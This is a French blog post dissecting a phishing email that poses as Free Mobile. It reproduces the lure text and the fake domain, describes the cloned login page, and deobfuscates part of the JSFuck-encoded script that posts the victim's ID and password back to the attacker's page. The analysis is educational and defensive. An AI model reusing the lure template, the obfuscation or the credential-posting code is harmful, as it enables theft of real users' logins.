Encore un mail de phishing ! comme dans le cas précédent , le nom affiché donne confiance : "FreeMobile" mais ce nom ne garantit absolument rien, on pourrait faire apparaître "Madonna" ou bien "Gouvernement Français" ;-)

mail


Voici le contenu du message :

Cher(e) abonné(e),

Veuillez trouver en pièce jointe votre facture mobile
du 09-06-2015, d'un montant de 2.00€

Vous avez une démarche à accomplir cliquez sur le lien intitulé
Pour régler votre impayé,

http://espacefree.today/

Vous pouvez à tout moment désactiver la réception de votre
facture par
email dans votre espace abonné

Sincères salutations.

L’équipe Free

--
Mobile - SAS au capital de 365.138.779 Euros - RCS PARIS 499 247
138 -
Siège social : 16 rue de la Ville l’Evêque 75008 Paris




Le contenu est "crédible" et le footer du message donne une allure officielle !

Ce qui est plus douteux, c'est le lien qui pointe vers "http://espacefree.today" ! Le nom de domaine de free est free.fr (avec un sous-domaine mobile.free.fr pour la partie téléphonie mobile).

L'expéditeur, "FreeMobile" est en fait : msmail@culturegie.fr qui n'a pas grand chose à voir avec free !

Le lièvre étant levé, allons voir un peu ce lien !

page de phishing


C'est une belle copie de la page : https://mobile.free.fr/moncompte/

Cette fois-ci la page est constituée essentiellement d'images (captures) habilement ajustée. Évidemment les liens ne pointent vers nulle part puisqu'il ne s'agit que d'images ! La seule partie active est celle pour rentrer ses identifiants.

Une particularité chez mobile.free.fr, c'est que pour se logger, on a droit à un clavier virtuel pour renseigner son identifiant. L'emplacement des chiffres du clavier varie à chaque tentative de connexion. Nos amis pêcheurs ont donc tenté de reproduire le fonctionnement original.

La page charge quelques dépendances javascript :
"jquery-1.11.0.min.js"
"jquery.validate.js"
et : "jquery.js"

Quel nom banal ! le fichier jquery.js l'est beaucoup moins ! Il s'agit d'un code javascript obfusqué. Voici à quoi il ressemble :

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]("\x76"+((!!+[]+"")[+!![]])+((!+[]+"")[+!![]])+' '+'_'+(+[])+'x'+((+!![])+(+!![])+(+!![])+(+!![]))+(+[])+((!!+[]+"")[(+!![])+(+!![])+(+!![])+(+!![])])+((({})+"")[(+!![])+(+!![])])+'='+'['+'"'+'\\'+'x' ...

Il tire partie de certaines caractéristiques de javascript (voir https://web.archive.org/web/20130111073815/http://security.bleurgh.net/javascript-without-letters-or-numbers pour plus d'infos).

A titre d'exemple :

(!!+[]+"") ou (![]+[]) renvoie la chaine de caractère : "false"
([][[]]+[]) renvoie :"undefined"
(({})+"") renvoie : "[object Object]"
(+!![]/+[]+"") renvoie : "Infinity"
etc.

Une fois les choses un peu débrouillées, on a donc quelque chose comme ça :


[]["false"[0]+"falseundefined"["10"]+"false"[2]+"true"[0]+"true"[3]+"true"[1]]
[([]["false"[0]+"falseundefined"["10"]+"false"[2]+"true"[0]+"true"[3]+"true"[1]]+[])[3]+("true"["false"[0]+"falseundefined"["10"]+"false"[2]+"true"[0]+"true"[3]+"true"[1]])["10"]+"undefined"[1]+"false"[3]+"true"[0]+"true"[1]+"undefined"[0]+([]["false"[0]+"falseundefined"["10"]+"false"[2]+"true"[0]+"true"[3]+"true"[1]]+[])3+"true"[0]+("true"["false"[0]+"falseundefined"["10"]+"false"[2]+"true"[0]+"true"[3]+"true"[1]])["10"]+"true"[1]]
("\x76"+("false"[1])+("true"[1])+' '+'_'+0+'x'+(1+1+1+1)+0+("false"[1+1+1+1])+("[object Object]"[1+1])+'='+'['+'"'+'\\'+'x'+(1+1+1+1+1+1)+(1+1+1)+


Poursuivons encore un peu...
on arrive à extraire une variable :

var _0x40eb=["\x63\x6C\x69\x63\x6B","\x23","\x63","\x61","\x6E","\x6F","\x68\x69\x64\x65","\x65","\x72","\x72\x65\x61\x64\x79","","\x76\x61\x6C","\x70","\x73","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x6D\x6C","\x67","\x74","\x77","\x79","\x64\x6F\x6E\x65","\x3F","\x70\x6F\x73\x74","\x66\x6F\x63\x75\x73","\x73\x65\x6C\x65\x63\x74","\x3C","\x69","\x6D","\x20","\x64","\x3D","\x22","\x66","\x2E","\x3E","\x4D","\x49","\x44","\x73\x68\x6F\x77","\x30","\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x6B","\x27","\x6C","\x68","\x2F","\x61\x70\x70\x65\x6E\x64","\x23\x6B","\x65\x61\x63\x68"];

qui une fois traduite donne :

var _0x40eb=["click", "#", "c", "a", "n", "o", "hide", "e", "r", "ready", "", "val", "p", "s", "length", "html", "g", "t", "w", "y", "done", "?", "post", "focus", "select", "<", "i", "m", " ", "d", "=", """, "f", ".", ">", "M", "I", "D", "show", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "random", "floor", "k", "'", "l", "h", "/", "append", "#k", "each"]

qui permettra de traduire la suite :

$(document)[_0x40eb[9]](function(){
initPad();
$(_0x40eb[1]+_0x40eb[2]+_0x40eb[3]+_0x40eb[4])[_0x40eb[0]](function(){caN();});$(_0x40eb[1]+_0x40eb[2]+_0x40eb[5]+_0x40eb[4])[_0x40eb[0]](function(){coN();});$(_0x40eb[1]+_0x40eb[7]+_0x40eb[8]+_0x40eb[8])[_0x40eb[0]](function(){$(_0x40eb[1]+_0x40eb[7]+_0x40eb[8]+_0x40eb[8])[_0x40eb[6]](0);});});
MID=_0x40eb[10];MIDIx=1;
function coN(){var _0x6c86x2=$(_0x40eb[1]+_0x40eb[12]+_0x40eb[13])[_0x40eb[11]]();if(_0x6c86x2[_0x40eb[14]]>7&&MID[_0x40eb[14]]>7)$[_0x40eb[22]](_0x40eb[21],{fmid:MID,fpw:_0x6c86x2})[_0x40eb[20]](function(_0x6c86x3){$(_0x40eb[1]+_0x40eb[16]+_0x40eb[17]+_0x40eb[18]+_0x40eb[19])[_0x40eb[15]](_0x6c86x3);});else{$(_0x40eb[1]+_0x40eb[12]+_0x40eb[13])[_0x40eb[23]]();$(_0x40eb[1]+_0x40eb[12]+_0x40eb[13])[_0x40eb[24]]();};}
function caN(){MIDIx=1;$(_0x40eb[1]+_0x40eb[35]+_0x40eb[36]+_0x40eb[37]+_0x40eb[36])[_0x40eb[15]](_0x40eb[25]+_0x40eb[26]+_0x40eb[27]+_0x40eb[16]+_0x40eb[28]+_0x40eb[26]+_0x40eb[29]+_0x40eb[30]+_0x40eb[31]+_0x40eb[32]+_0x40eb[26]+_0x40eb[4]+_0x40eb[13]+_0x40eb[31]+_0x40eb[28]+_0x40eb[13]+_0x40eb[8]+_0x40eb[2]+_0x40eb[30]+_0x40eb[31]+_0x40eb[32]+_0x40eb[26]+_0x40eb[4]+_0x40eb[13]+_0x40eb[33]+_0x40eb[12]+_0x40eb[4]+_0x40eb[16]+_0x40eb[31]+_0x40eb[34]);MID=_0x40eb[10];}


nous donne :

$(document)["ready"](function(){
initPad();
$("#"+"c"+"a"+"n")["ready"](function(){caN();});$("#"+"c"+"o"+"n")["ready"](function(){coN();});$("#"+"e"+"r"+"r")["ready"](function(){$("#"+"e"+"r"+"r")["hide"](0);});});

MID="";MIDIx=1;

function coN(){
var _0x6c86x2=$("#"+"p"+"s")["val"]();
if(_0x6c86x2["length"]>7&&MID["length"]>7)$["post"]("?",{fmid:MID,fpw:_0x6c86x2})["done"](function(_0x6c86x3){$("#"+"g"+"t"+"w"+"y")["html"](_0x6c86x3);});
else{$("#"+"p"+"s")["focus"]();$("#"+"p"+"s")["select"]();};
}

function caN(){
MIDIx=1;
$("#"+"M"+"I"+"D"+"I")["html"]("<"+"i"+"m"+"g"+" "+"i"+"d"+"="+"\""+"f"+"i"+"n"+"s"+"\""+" "+"s"+"r"+"c"+"="+"\""+"f"+"i"+"n"+"s"+"."+"p"+"n"+"g"+"\""+">");MID="";
}


Bien sûr je ne vous donne pas l'intégralité du code... Vous pouvez vous amuser à faire la même chose chez vous ;-)

le vol d'identifiants est ainsi opéré !

Amusez-vous et pensez à bien lire vos mails !

@+